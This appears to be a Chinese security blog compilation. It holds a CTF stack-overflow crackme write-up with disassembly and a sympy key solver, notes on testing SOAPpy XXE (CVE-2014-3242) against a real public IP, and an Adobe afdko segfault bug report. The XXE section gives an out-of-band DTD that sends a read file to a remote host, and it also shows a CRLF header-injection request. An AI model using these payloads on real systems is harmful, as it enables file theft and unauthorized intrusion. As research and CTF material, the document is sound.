name+'abcdefgh'的长度是23,这里是24个数,所以我们舍弃最后一个数据,真正的结果之和
9f d4 db ce ce ae b5 a8 b6 92 e5 d1 bc 9f d1 a2 cf c4 de 98 97 d5 cf
所以这题多解了,只要name(abcdefgh)+serial满足上面的结果就是一个解,到这里所有的分析完毕!
经典的栈溢出题目
拖入IDA直接查看,搜索main函数,结果:
判断dword_41B034是否为0,则成功。
中间由三个函数组成
call sub_401050
call sub_401090
call sub_4010E0
后面两个函数直接F5,可以发现是由四个方程组构成,前两个成立会减1,后两个成立再减1
5*(v1-v0)+v1=0x8f503a42
13 * (v1 - v0) + v0 == 0xEF503A42
17 * (v1 - v0) + v1 == 0xF3A94883
7 * (v1 - v0) + v0 == 0x33A94883
只有两个变量,但是有四个方程,正常推理是无解的,通过计算也确实是无解的。现在回到最开始的三个函数,那么来看第一个函数
var_C = byte ptr -0Ch
sub esp, 0Ch
push offset aCodedByFpc ; " Coded by Fpc.\n\n"
call sub_413D42
add esp, 4
push offset aPleaseInputYou ; " Please input your code: "
call sub_413D42
add esp, 4
lea eax, [esp+0Ch+var_C]
push eax
push offset aS ; "%s"
call _scanf
lea eax, [esp+14h+var_C]
add esp, 14h
retn
要是老手的话,看到scanf第一眼就应该想到有溢出了,但是我这种新手,慢慢来分析。首先函数的开始,竟然就没有经典的函数开始标志
push ebp
mov ebp, esp
sub ...
而是直接sub,这一点我不是很理解(有一种理解就是直接用汇编代码编写的函数,并没有通过vc)!但是这里可以看到sub esp, 0ch
说明分配了12个字节的数据,分配的空间很小,理所当然的就应该想到溢出的问题。在分析的过程中,函数sub_413D42
也看了很久,具体函数如下
arg_0= dword ptr 4
arg_4= dword ptr 8
push ebx
push esi
mov esi, offset stru_41B0F0
push edi
push esi
call __stbuf
mov edi, eax
lea eax, [esp+10h+arg_4]
push eax ; int
push [esp+14h+arg_0] ; int
push esi ; FILE *
call sub_413F7C
push esi
push edi
mov ebx, eax
call __ftbuf
add esp, 18h
mov eax, ebx
pop edi
pop esi
pop ebx
retn
看着一个挺复杂的函数,到最后才发现这就是一个简单的printf函数,查阅一些资料并没有找到准确的printf的汇编代码,因为printf跟平台密切相关,实现较为复杂,所以也可能导致ida并没有准确的识别出来,但是有两个主要的标志函数
call __stbuf
call __ftbuf
可以看作识别printf函数的重要标志!再往下看,调用scanf函数,将验证码输入位置[esp+0Ch+var_C]。因为是第一次做溢出题,所以现在来详细分析一下溢出的原因,此时正常的1050函数栈应该是这样的
------- ==> 上一个函数栈
| |
------- ==> 返回地址
| |
------- ==> ebp(esp+0ch)
| |
------- ==> esp+8
| |
------- ==> esp+4
| |
------- ==> esp
但是这里有一点需要注意的,1050这个函数和正常入栈的函数不一样,一般的函数会压入ebp,但是这里没有,跟上个函数的位置相同
------- ==> 返回地址
| |
------- ==> ebp(esp+0ch)
| |
------- ==> esp+8
| |
------- ==> esp+4
| |
------- ==> esp
这是函数开始时的栈分配情况,在结束前栈时这样的
------- ==> 返回地址
| |
------- ==> ebp(esp+14h)
| |
------- ==> esp+10h
| |
------- ==> esp+0ch
| |
------- ==> esp+8
| |
------- ==> esp+4
| |
------- ==> esp
栈的最低下存放的是scanf
的两个参数,在函数结束前
add esp, 14h
其中add esp, 14h
,正好将esp
恢复到原始的ebp
,
------- ==> 上一个函数栈
| |
------- ==> 返回地址
| |
------- ==> ebp(esp)
再一个retn
------- ==> 上一个函数栈
| |
------- ==> 返回地址(esp/ebp)
如果我们输入的是16位的字符串,那么最后4个字符将会覆盖掉ebp,当函数返回时,那么将会把最后四个字符作为返回地址!
最终得出,在没有栈保护的情况下,如果输入超过12个字符,那么13-16的字符串将会作为返回地址使用。
理论上分析是这样了,那么来验证一下是不是超过12个字符可以覆盖返回地址
可以看到defg
的anscii
值作为返回值返回,接下来找到需要返回的地址即可!从头往下找,可以发现一个可疑的函数:
我们只要通过输入恰当的字符,那么就可以使返回地址是00413131,0x31对应的字符是1,0x41对应的是A,所以输入的字符最后是11A(因为方向是相反的),输入12345678911111A
,之后利用od进行run跟踪
把有用的部分抽取出来
add esp, -10
xor eax, eax
mov dowrd ptr ds:[41b034], eax
pop eax
mov ecx, eax
pop eax
mov ebx, eax
pop eax
mov edx, eax
mov eax, ecx
sub eax, ebx
shl eax, 2
add eax, ecx
add eax, edx
sub eax, EAF917E2
pop eax
xor eax, 1210e
xor eax, dword ptf ds:[41b034]
jmp eax
开始的第一句汇编代码就吸引住我了,想弄清为什么是10h
,那么来具体分析一下栈情况,在执行完add esp, -10h
后的栈情况
------- ==> 上一个函数栈
| |
------- ==> ebp(esp+10h)
| |
------- ==> esp+0ch
| |
------- ==> esp+8
| |
------- ==> esp+4
| |
------- ==> esp
这里注意一下最后几个汇编命令
pop eax
xor eax, 1210e
xor eax, dword ptf ds:[41b034]
jmp eax
这是最后一个pop
也是第四个pop
,eax
里面存储的是00413131
,经过异或操作
hex(0x00413131 ^ 0x1210e)
=> '0x40103f'
再来看看该处代码
真心佩服作者这汇编代码的水平!
第一个等式我们使用run 跟踪
成功的找出了,接下来为了节省时间,直接用odbgscript
去找,大概一分钟之内能完事
;global variable
var filename
; clean all uncondicional breakpoints
bc
mov filename, "fpc_trace.txt"
wrt filename, "Run trace\r\n"
bp 401080
run
mov [eax], "123456789acf11A"
write_disasm:
cmp eip, 4133ee
jnz third_equation
mov !ZF, 1
third_equation:
cmp eip, 4135fe
jnz not_breakpoint
mov !ZF, 1
not_breakpoint:
opcode eip ; get eip mnemonic opcode
eval "00{eip} {$RESULT_1} \r\n"
wrta filename, $RESULT
sto
jmp write_disasm
追踪到的run trace
Run trace
00401080 ADD ESP,14
00401083 RETN
00413131 ADD ESP,-10
00413134 JO SHORT ctf2017_.00413160
00413136 JNO SHORT ctf2017_.00413158
00413158 JNO SHORT ctf2017_.00413141
00413141 JNO SHORT ctf2017_.00413149
00413149 JNO SHORT ctf2017_.0041313C
0041313C JNO SHORT ctf2017_.0041315A
0041315A JNO SHORT ctf2017_.00413150
00413150 XOR EAX,EAX
00413152 JE SHORT ctf2017_.0041313E
0041313E JE SHORT ctf2017_.00413168
00413168 JO SHORT ctf2017_.00413196
0041316A JNO SHORT ctf2017_.0041318E
0041318E JNO SHORT ctf2017_.00413175
00413175 JNO SHORT ctf2017_.0041317D
0041317D JNO SHORT ctf2017_.00413170
00413170 JNO SHORT ctf2017_.00413190
00413190 JNO SHORT ctf2017_.00413184
00413184 MOV DWORD PTR DS:[41B034],EAX
00413189 JE SHORT ctf2017_.00413172
00413172 JE SHORT ctf2017_.0041319F
0041319F JO SHORT ctf2017_.004131C8
004131A1 JNO SHORT ctf2017_.004131C0
004131C0 JNO SHORT ctf2017_.004131AC
004131AC JNO SHORT ctf2017_.004131B3
004131B3 JNO SHORT ctf2017_.004131A7
004131A7 JNO SHORT ctf2017_.004131C2
004131C2 JNO SHORT ctf2017_.004131BA
004131BA POP EAX
004131BB JO SHORT ctf2017_.004131A9
004131BD JNO SHORT ctf2017_.004131D0
004131D0 JLE SHORT ctf2017_.004131F3
004131F3 JLE SHORT ctf2017_.004131E4
004131E4 JLE SHORT ctf2017_.00413202
00413202 JLE SHORT ctf2017_.004131DC
004131DC JLE SHORT ctf2017_.004131EB
004131EB MOV ECX,EAX
004131ED JE SHORT ctf2017_.004131D9
004131D9 JE SHORT ctf2017_.00413205
00413205 JBE SHORT ctf2017_.00413227
00413227 JBE SHORT ctf2017_.00413218
00413218 JBE SHORT ctf2017_.00413235
00413235 JBE SHORT ctf2017_.00413210
00413210 JBE SHORT ctf2017_.0041321F
0041321F POP EAX
00413220 JS SHORT ctf2017_.0041320D
00413222 JNS SHORT ctf2017_.00413238
00413238 JB SHORT ctf2017_.0041325D
0041323A PREFIX REPNE:
00413266 JNB SHORT ctf2017_.00413248
00413248 JNB SHORT ctf2017_.00413250
00413250 JNB SHORT ctf2017_.00413262
00413262 JNB SHORT ctf2017_.0041325F
0041325F JNB SHORT ctf2017_.00413254
00413254 MOV EBX,EAX
00413256 JE SHORT ctf2017_.00413241
00413241 JE SHORT ctf2017_.0041326F
0041326F JE SHORT ctf2017_.00413298
00413298 JE SHORT ctf2017_.00413286
00413286 JE SHORT ctf2017_.0041329E
0041329E JE SHORT ctf2017_.0041327F
0041327F JE SHORT ctf2017_.00413289
00413289 POP EAX
0041328A JL SHORT ctf2017_.00413279
0041328C JGE SHORT ctf2017_.004132A1
004132A1 JMP SHORT ctf2017_.004132C6
004132C6 JMP SHORT ctf2017_.004132B5
004132B5 MOV EDX,EAX
004132B7 JNZ SHORT ctf2017_.004132A5
004132B9 JMP SHORT ctf2017_.004132AD
004132AD MOV EDX,EAX
004132AF JE SHORT ctf2017_.004132C9
004132C9 JL SHORT ctf2017_.004132F1
004132CB JGE SHORT ctf2017_.004132E9
004132E9 JGE SHORT ctf2017_.004132D6
004132D6 JGE SHORT ctf2017_.004132DB
004132DB JGE SHORT ctf2017_.004132D1
004132D1 JGE SHORT ctf2017_.004132EB
004132EB JGE SHORT ctf2017_.004132E2
004132E2 MOV EAX,ECX
004132E4 JO SHORT ctf2017_.004132D3
004132E6 JNO SHORT ctf2017_.004132FA
004132FA JS SHORT ctf2017_.00413326
004132FC JNS SHORT ctf2017_.0041331E
0041331E JNS SHORT ctf2017_.00413307
00413307 JNS SHORT ctf2017_.0041330F
0041330F JNS SHORT ctf2017_.00413302
00413302 JNS SHORT ctf2017_.00413320
00413320 JNS SHORT ctf2017_.00413316
00413316 SUB EAX,EBX
00413318 JE SHORT ctf2017_.00413304
0041331A JNZ SHORT ctf2017_.0041332E
0041332E JO SHORT ctf2017_.0041335B
00413330 JNO SHORT ctf2017_.00413354
00413354 JNO SHORT ctf2017_.0041333B
0041333B JNO SHORT ctf2017_.00413342
00413342 JNO SHORT ctf2017_.00413336
00413336 JNO SHORT ctf2017_.00413356
00413356 JNO SHORT ctf2017_.00413349
00413349 SHL EAX,2
0041334C JO SHORT ctf2017_.00413338
0041334E JNO SHORT ctf2017_.00413364
00413364 JO SHORT ctf2017_.00413391
00413366 JNO SHORT ctf2017_.0041338A
0041338A JNO SHORT ctf2017_.00413372
00413372 JNO SHORT ctf2017_.00413379
00413379 JNO SHORT ctf2017_.0041336C
0041336C JNO SHORT ctf2017_.0041338C
0041338C JNO SHORT ctf2017_.00413380
00413380 ADD EAX,ECX
00413382 JS SHORT ctf2017_.0041336E
00413384 JNS SHORT ctf2017_.00413399
00413399 JO SHORT ctf2017_.004133C5
0041339B JNO SHORT ctf2017_.004133BD
004133BD JNO SHORT ctf2017_.004133A6
004133A6 JNO SHORT ctf2017_.004133AE
004133AE JNO SHORT ctf2017_.004133A1
004133A1 JNO SHORT ctf2017_.004133BF
004133BF JNO SHORT ctf2017_.004133B5
004133B5 ADD EAX,EDX
004133B7 JE SHORT ctf2017_.004133A3
004133B9 JNZ SHORT ctf2017_.004133CD
004133CD JS SHORT ctf2017_.004133FC
004133FC JS SHORT ctf2017_.004133E6
004133E6 JS SHORT ctf2017_.00413402
00413402 JS SHORT ctf2017_.004133DF
004133DF JS SHORT ctf2017_.004133E9
004133E9 SUB EAX,EAF917E2
004133EE JE SHORT ctf2017_.004133D7
004133D7 JE SHORT ctf2017_.00413405
00413405 JS SHORT ctf2017_.00413433
00413433 JS SHORT ctf2017_.0041341D
0041341D JS SHORT ctf2017_.00413439
00413439 JS SHORT ctf2017_.00413416
00413416 JS SHORT ctf2017_.00413420
00413420 JNZ ctf2017_.00413B03
00413426 JO SHORT ctf2017_.0041340F
00413428 JNO SHORT ctf2017_.0041343C
0041343C JL SHORT ctf2017_.00413466
00413466 JL SHORT ctf2017_.00413452
00413452 JL SHORT ctf2017_.0041346C
0041346C JL SHORT ctf2017_.0041344B
0041344B JL SHORT ctf2017_.00413455
00413455 ADD EAX,ECX
00413457 JS SHORT ctf2017_.00413446
00413446 JS SHORT ctf2017_.0041346F
0041346F JBE SHORT ctf2017_.00413492
00413471 JA SHORT ctf2017_.0041349B
0041349B JA SHORT ctf2017_.0041347E
0041347E JA SHORT ctf2017_.00413486
00413486 JA SHORT ctf2017_.00413497
00413497 JA SHORT ctf2017_.00413494
00413494 JA SHORT ctf2017_.00413489
00413489 SUB EAX,EBX
0041348B JL SHORT ctf2017_.00413477
00413477 JL SHORT ctf2017_.004134A4
004134A4 JS SHORT ctf2017_.004134CF
004134CF JS SHORT ctf2017_.004134BC
004134BC JS SHORT ctf2017_.004134D5
004134D5 JS SHORT ctf2017_.004134B5
004134B5 JS SHORT ctf2017_.004134BF
004134BF MOV EBX,EAX
004134C1 JO SHORT ctf2017_.004134AE
004134C3 JNO SHORT ctf2017_.004134D8
004134D8 JO SHORT ctf2017_.00413502
004134DA JNO SHORT ctf2017_.004134FA
004134FA JNO SHORT ctf2017_.004134E5
004134E5 JNO SHORT ctf2017_.004134EC
004134EC JNO SHORT ctf2017_.004134E0
004134E0 JNO SHORT ctf2017_.004134FC
004134FC JNO SHORT ctf2017_.004134F3
004134F3 SHL EAX,1
004134F5 JO SHORT ctf2017_.004134E2
004134E2 JO SHORT ctf2017_.0041350A
0041350A JS SHORT ctf2017_.00413534
0041350C JNS SHORT ctf2017_.0041352C
0041352C JNS SHORT ctf2017_.00413517
00413517 JNS SHORT ctf2017_.0041351E
0041351E JNS SHORT ctf2017_.00413512
00413512 JNS SHORT ctf2017_.0041352E
0041352E JNS SHORT ctf2017_.00413525
00413525 ADD EAX,EBX
00413527 JO SHORT ctf2017_.00413514
00413529 JNO SHORT ctf2017_.0041353D
0041353D JLE SHORT ctf2017_.00413561
00413561 JLE SHORT ctf2017_.00413552
00413552 JLE SHORT ctf2017_.00413570
00413570 JLE SHORT ctf2017_.00413549
00413549 JLE SHORT ctf2017_.00413559
00413559 ADD EAX,ECX
0041355B JS SHORT ctf2017_.00413546
0041355D JNS SHORT ctf2017_.00413573
00413573 JS SHORT ctf2017_.0041359F
00413575 JNS SHORT ctf2017_.00413598
00413598 JNS SHORT ctf2017_.00413580
00413580 JNS SHORT ctf2017_.00413588
00413588 JNS SHORT ctf2017_.0041357B
0041357B JNS SHORT ctf2017_.0041359A
0041359A JNS SHORT ctf2017_.0041358F
0041358F MOV ECX,EAX
00413591 JE SHORT ctf2017_.0041357D
00413593 JNZ SHORT ctf2017_.004135A8
004135A8 JS SHORT ctf2017_.004135D3
004135AA JNS SHORT ctf2017_.004135CB
004135CB JNS SHORT ctf2017_.004135B5
004135B5 JNS SHORT ctf2017_.004135BC
004135BC JNS SHORT ctf2017_.004135B0
004135B0 JNS SHORT ctf2017_.004135CD
004135CD JNS SHORT ctf2017_.004135C3
004135C3 ADD EAX,EDX
004135C5 JS SHORT ctf2017_.004135B2
004135C7 JNS SHORT ctf2017_.004135DC
004135DC JLE SHORT ctf2017_.00413602
004135DE JG SHORT ctf2017_.0041360B
0041360B JG SHORT ctf2017_.004135EB
004135EB JG SHORT ctf2017_.004135F3
004135F3 JG SHORT ctf2017_.00413607
00413607 JG SHORT ctf2017_.00413604
00413604 JG SHORT ctf2017_.004135F7
004135F7 SUB EAX,E8F508C8
004135FC JL SHORT ctf2017_.004135E5
004135FE JGE SHORT ctf2017_.00413613
00413613 JO SHORT ctf2017_.00413643
00413643 JO SHORT ctf2017_.0041362B
0041362B JO SHORT ctf2017_.00413648
00413648 JO SHORT ctf2017_.00413624
00413624 JO SHORT ctf2017_.0041362E
0041362E JNZ ctf2017_.00413B03
00413634 JS SHORT ctf2017_.0041361D
0041361D JS SHORT ctf2017_.0041364B
0041364B JMP SHORT ctf2017_.00413688
00413688 JMP SHORT ctf2017_.00413665
00413665 MOV EAX,ECX
00413667 JNZ SHORT ctf2017_.0041364F
00413669 JMP SHORT ctf2017_.0041365D
0041365D MOV EAX,ECX
0041365F JE SHORT ctf2017_.0041368B
0041368B JO SHORT ctf2017_.004136B6
004136B6 JO SHORT ctf2017_.004136A4
004136A4 JO SHORT ctf2017_.004136BC
004136BC JO SHORT ctf2017_.0041369D
0041369D JO SHORT ctf2017_.004136A7
004136A7 SUB EAX,EDX
004136A9 JE SHORT ctf2017_.00413695
004136AB JNZ SHORT ctf2017_.004136BF
004136BF JLE SHORT ctf2017_.004136E4
004136E4 JLE SHORT ctf2017_.004136D1
004136D1 JLE SHORT ctf2017_.004136F2
004136F2 JLE SHORT ctf2017_.004136CA
004136CA JLE SHORT ctf2017_.004136D8
004136D8 SUB EAX,0C0A3C68
004136DD JE SHORT ctf2017_.004136C7
004136DF JNZ SHORT ctf2017_.004136F5
004136F5 JE SHORT ctf2017_.00413724
004136F7 JNZ SHORT ctf2017_.0041371C
0041371C JNZ SHORT ctf2017_.00413703
00413703 JNZ SHORT ctf2017_.00413709
00413709 JNZ SHORT ctf2017_.004136FD
004136FD JNZ SHORT ctf2017_.0041371E
0041371E JNZ SHORT ctf2017_.00413710
00413710 JNZ ctf2017_.00413B03
00413B03 JS SHORT ctf2017_.00413B2C
00413B2C JS SHORT ctf2017_.00413B1B
00413B1B JS SHORT ctf2017_.00413B31
00413B31 JS SHORT ctf2017_.00413B14
00413B14 JS SHORT ctf2017_.00413B1E
00413B1E POP EAX
00413B1F JE SHORT ctf2017_.00413B0C
00413B21 JNZ SHORT ctf2017_.00413B34
00413B34 JE SHORT ctf2017_.00413B61
00413B36 JNZ SHORT ctf2017_.00413B59
00413B59 JNZ SHORT ctf2017_.00413B41
00413B41 JNZ SHORT ctf2017_.00413B47
00413B47 JNZ SHORT ctf2017_.00413B3C
00413B3C JNZ SHORT ctf2017_.00413B5B
00413B5B JNZ SHORT ctf2017_.00413B4E
00413B4E XOR EAX,1210E
00413B53 JL SHORT ctf2017_.00413B3E
00413B55 JGE SHORT ctf2017_.00413B6A
00413B6A JL SHORT ctf2017_.00413B98
00413B6C JGE SHORT ctf2017_.00413B91
00413B91 JGE SHORT ctf2017_.00413B77
00413B77 JGE SHORT ctf2017_.00413B7C
00413B7C JGE SHORT ctf2017_.00413B72
00413B72 JGE SHORT ctf2017_.00413B93
00413B93 JGE SHORT ctf2017_.00413B83
00413B83 XOR EAX,DWORD PTR DS:[41B034]
00413B89 JO SHORT ctf2017_.00413B74
00413B8B JNO SHORT ctf2017_.00413BA0
00413BA0 JBE SHORT ctf2017_.00413BC4
00413BA2 JA SHORT ctf2017_.00413BCD
00413BCD JA SHORT ctf2017_.00413BAF
00413BAF JA SHORT ctf2017_.00413BB8
00413BB8 JA SHORT ctf2017_.00413BC9
00413BC9 JA SHORT ctf2017_.00413BC6
00413BC6 JA SHORT ctf2017_.00413BBB
00413BBB JMP EAX
0040103F PUSH ctf2017_.0041B038
00401044 CALL ctf2017_.00413D42
00401049 ADD ESP,4
0040104C XOR EAX,EAX
0040104E RETN
00413E3E ADD ESP,0C
00413E41 MOV DWORD PTR SS:[EBP-1C],EAX
00413E44 PUSH EAX
00413E45 CALL ctf2017_.0041537A
这个代码看起来要简洁的多了,而且是从上到下的逻辑顺序,整理出的等式:
(x-y)*4 + x + z = EAF917E2
(x-y)*3 + x + z = E8F508C8
(x-y)*3 + x - z = 0C0A3C68
利用sympy
解题:
from sympy import *
from binascii import *
def answer():
x = Symbol('x')
y = Symbol('y')
z = Symbol('z')
an = solve([5*x-4*y+z-int('0xeaf917e2', 16),
4*x-3*y+z-int('0xe8f508c8', 16),
4*x-3*y-z-int('0xc0a3c68', 16)], [x, y, z])
print an[x]
a = unhexlify(format(int(an[x]), 'x'))[::-1]
a += unhexlify(format(int(an[y]), 'x'))[::-1]
a += unhexlify(format(int(an[z]), 'x'))[::-1]
a += '11A'
print a
if __name__ == '__main__':
answer()
结果:Just0for0fun11A
在研究xxe漏洞时,发现乌云镜像上的一个洞来源于CVE-2014-3242
SOAPpy <= 0.12.5时存在XXE漏洞,上zoomeye随便搜索一下:
测试123.126.42.100
确实存在XXE,再来测试读取文件,使用这里的方法
可以看出并不能实现显示文件,因为不知道显示的函数到底是什么。
在测试这个XXE的过程中,使用了vulhub的php_xxe进行了php相关xxe的测试,在这里做一些扩展:
很多造成xxe的库,在发送请求会检查一遍请求的url是否合法,如果不合法的话,会发生错误
要是没有任何正常显示,但是能够整出错误提示的话,也算是可以读取文件的。为了解决这个问题,要是php的话,php支持filter等伪协议可以将读取到的文件转换格式,比如base64编码,之后请求
其中evil.dtd
文件内容
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://[remote-ip]:8000/?x=%file;'>"
>
%all;
别的语言如何实现这个功能,我还不知道。
细看一下请求的urllib
的版本,查看是python urllib/1.6
,查询一下发现urllib
存在http头注入,具体可以看这里
POST / HTTP/1.1
Host: 123.126.42.100:8089
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 175
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtochkx [
<!ENTITY % dtd SYSTEM "http://45.32.138.6%0d%0aX-injected:%20header:12345/foo">
%dtd;
]>
发现同样存在http
头注入,但是因为对于请求是否成功,没有办法知道,所以有洞也没法做太多东西。
做进一步延伸,到底soappy为什么会产生这个漏洞,查看SOAPpy源码发现其是使用xml.sax
这种方式来解析xml的
查找xml.sax
这种解析xml方式发现
原来是因为soappy使用了该种解析xml的方式导致了xxe
前段时间fuzz出来的,提给adobe的issue,目前已经被修复了,其中指针追踪挺有意思的
Please excuse my poor English. I'm not a native speaker. I will do my best to describe this issue.
In lates commit ad786a1bfbaa11a2e14dca3cdd95a66da8f824fc
use clang compile with debug option
compile tx
in c/tx/build/linux/gcc/debug/
make clean && CC=clang make
then use tx
to parse a specific otf file
tx -svg poc.otf
tx
segment fault
tx: --- poc.otf
tx: (cfr) invalid fvar table version
tx: (cfr) invalid/missing hhea table
tx: (cfr) name table missing
tx: (cfr) axis count in variation font region list does not match axis count in fvar table
tx: (cfr) Warning: CharString of GID 2 is 68301 bytes long. CharStrings longer than 65535 bytes might not be supported by some implementations.
Segmentation fault (core dumped)
I use pwndbg
to debug
#0 __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
#1 0x0000000000476360 in matchName ()
#2 0x00007ffff773b207 in __GI_bsearch (__key=0x0, __base=0x4ca870 <mapName2UV.agl>, __nmemb=<optimized out>, __size=16, __compar=0x476340 <matchName>) at ../bits/stdlib-bsearch.h:33
#3 0x0000000000475aa7 in mapName2UV ()
#4 0x0000000000478c60 in svg_GlyphBeg ()
#5 0x000000000046f43b in otfGlyphBeg ()
#6 0x0000000000413468 in readGlyph (h=0x6f8f30, gid=0, glyph_cb=0x6f3690) at ../../../../../source/cffread/cffread.c:2877
#7 0x0000000000413395 in cfrIterateGlyphs (h=0x6f8f30, glyph_cb=0x6f3690) at ../../../../../source/cffread/cffread.c:2930
#8 0x0000000000405b91 in cfrReadFont (h=0x6ec010, origin=0, ttcIndex=0) at ../../../../source/tx.c:151
#9 0x00000000004058bf in doFile (h=0x6ec010, srcname=0x7fffffffe6dc "poc.otf") at ../../../../source/tx.c:429
#10 0x0000000000404f3e in doSingleFileSet (h=0x6ec010, srcname=0x7fffffffe6dc "poc.otf") at ../../../../source/tx.c:488
#11 0x0000000000402d89 in parseArgs (h=0x6ec010, argc=2, argv=0x7fffffffe400) at ../../../../source/tx.c:558
#12 0x0000000000401c27 in main (argc=2, argv=0x7fffffffe400) at ../../../../source/tx.c:1587
#13 0x00007ffff7724830 in __libc_start_main (main=0x401a60 <main>, argc=3, argv=0x7fffffffe3f8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe3e8) at ../csu/libc-start.c:291
#14 0x0000000000401989 in _start ()
then I do some analysis, I found when tx
parse the specific otf
file with no glyph name
, tx
will occur segment fault.
debug the issue, set breakpoint in cffread.c:2877
hit the breakpoint
In file: /root/tmp/afdko/c/public/lib/source/cffread/cffread.c
2872 abfGlyphInfo *info = &h->glyphs.array[gid];
2873 t2cAuxData *aux = &h->FDArray.array[info->iFD].aux;
2874 cff2GlyphCallbacks *cff2_cb = NULL;
2875
2876 /* Begin glyph and mark it as seen */
► 2877 result = glyph_cb->beg(glyph_cb, info); <====
2878 info->flags |= ABF_GLYPH_SEEN;
2879 info->blendInfo.vsindex = aux->default_vsIndex;
2880
2881 /* Check result */
2882 switch (result) {
─────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffddd0 ◂— 0x4
01:0008│ 0x7fffffffddd8 —▸ 0x46ba90 (mem_manage) ◂— push rbp
02:0010│ 0x7fffffffdde0 ◂— 0x0
03:0018│ 0x7fffffffdde8 —▸ 0x7ffff777c77b (_IO_file_seekoff+699) ◂— cmp r12, rax
04:0020│ 0x7fffffffddf0 ◂— 0x2
05:0028│ 0x7fffffffddf8 ◂— 0x0
... ↓
07:0038│ 0x7fffffffde08 —▸ 0x6fe178 ◂— 0x4
───────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 41344f readGlyph+111
f 1 413395 cfrIterateGlyphs+117
f 2 405b91 cfrReadFont+561
f 3 4058bf doFile+879
f 4 404f3e doSingleFileSet+46
f 5 402d89 parseArgs+425
f 6 401c27 main+455
f 7 7ffff7724830 __libc_start_main+240
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint cffread.c:2877
call a function pointer glyph_cb->beg
, step into, enter otfGlyphBeg
in otfGlyphBeg+121
, it call another function pointer
0x46f404 <otfGlyphBeg+68> je otfGlyphBeg+102 <0x46f426>
↓
0x46f426 <otfGlyphBeg+102> mov rax, qword ptr [rbp - 0x18]
0x46f42a <otfGlyphBeg+106> mov rax, qword ptr [rax + 0x7708]
0x46f431 <otfGlyphBeg+113> mov rdi, qword ptr [rbp - 8]
0x46f435 <otfGlyphBeg+117> mov rsi, qword ptr [rbp - 0x10]
► 0x46f439 <otfGlyphBeg+121> call rax <0x478bb0>
rdi: 0x6f3690 —▸ 0x6f37f0 ◂— 0x0
rsi: 0x70b2d0 ◂— 0x0
0x46f43b <otfGlyphBeg+123> add rsp, 0x20
0x46f43f <otfGlyphBeg+127> pop rbp
0x46f440 <otfGlyphBeg+128> ret
0x46f441 nop word ptr cs:[rax + rax]
0x46f450 <bufSeek> push rbp
step into, in svg_GlyphBeg+171
, it call another function pointer
0x478c46 <svg_GlyphBeg+150> mov rsi, qword ptr [rax + 8]
0x478c4a <svg_GlyphBeg+154> mov rax, qword ptr [rbp - 0x18]
0x478c4e <svg_GlyphBeg+158> add rax, 0x6b78
0x478c54 <svg_GlyphBeg+164> add rax, 0x10
0x478c58 <svg_GlyphBeg+168> mov rdx, rax
► 0x478c5b <svg_GlyphBeg+171> call mapName2UV <0x475a60>
rdi: 0x6ec010 —▸ 0x7fffffffe6d4 ◂— 0x6776732d007874 /* 'tx' */
rsi: 0x0
rdx: 0x6f2b98 ◂— 0xe000
rcx: 0xffff0004
0x478c60 <svg_GlyphBeg+176> movzx ecx, ax
0x478c63 <svg_GlyphBeg+179> mov edx, ecx
0x478c65 <svg_GlyphBeg+181> mov rsi, qword ptr [rbp - 0x10]
0x478c69 <svg_GlyphBeg+185> mov qword ptr [rsi + 0x20], rdx
0x478c6d <svg_GlyphBeg+189> mov rax, qword ptr [svwGlyphCallbacks+24] <0x4be940>
step into, in mapName2UV+66
, it calls a function named bsearch
0x475a91 <mapName2UV+49> mov qword ptr [rbp - 0x20], rdx
0x475a95 <mapName2UV+53> mov rdi, qword ptr [rbp - 0x18]
0x475a99 <mapName2UV+57> mov rsi, rax
0x475a9c <mapName2UV+60> mov rdx, r8
0x475a9f <mapName2UV+63> mov r8, r9
► 0x475aa2 <mapName2UV+66> call bsearch@plt <0x4018e0>
key: 0x0
base: 0x4ca870 (mapName2UV.agl) —▸ 0x4b1ab9 ◂— add byte ptr [rip + 0x462d0045], bpl /* 'A' */
nmemb: 0x41b
size: 0x10
compar: 0x476340 (matchName) ◂— push rbp
0x475aa7 <mapName2UV+71> mov qword ptr [rbp - 0x28], rax
0x475aab <mapName2UV+75> cmp qword ptr [rbp - 0x28], 0
0x475ab0 <mapName2UV+80> je mapName2UV+103 <0x475ac7>
0x475ab6 <mapName2UV+86> mov rax, qword ptr [rbp - 0x28]
0x475aba <mapName2UV+90> mov cx, word ptr [rax + 8]
key
is const char*
type, in bsearch
, it will access the data of key. But key is 0x0
, so it will segment fault.
After analyzing source code, the issue call order
readGlyph/cffread.c:2877
|=> glyph_cb->beg =point=> otfGlyphBeg(tx_shared.c:4773)
|=> h->cb.saveGlyphBeg =point=> svg_GlyphBeg(tx_shared.c:2637)
|=> mapName2UV (tx_shared.c:1518)
|=> bsearch => Segment Fault
function mapName2UV
/* Map glyph name to Unicode value using simplified assignment algorithm. */
static unsigned short mapName2UV(txCtx h, char *gname, unsigned short *unrec) {
static const Name2UV agl[] =
{
#include "agl2uv.h"
};
Name2UV *map = (Name2UV *)bsearch(gname, agl, ARRAY_LEN(agl),
sizeof(Name2UV), matchName);
if (map != NULL)
return map->uv; /* Match found */
/* Not found */
if (strcmp(gname, ".notdef") == 0)
return 0xFFFF; /* No encoding for .notdef */
if (gname[0] == 'u' &&
gname[1] == 'n' &&
gname[2] == 'i' &&
isxdigit(gname[3]) && !islower(gname[3]) &&
isxdigit(gname[4]) && !islower(gname[4]) &&
isxdigit(gname[5]) && !islower(gname[5]) &&
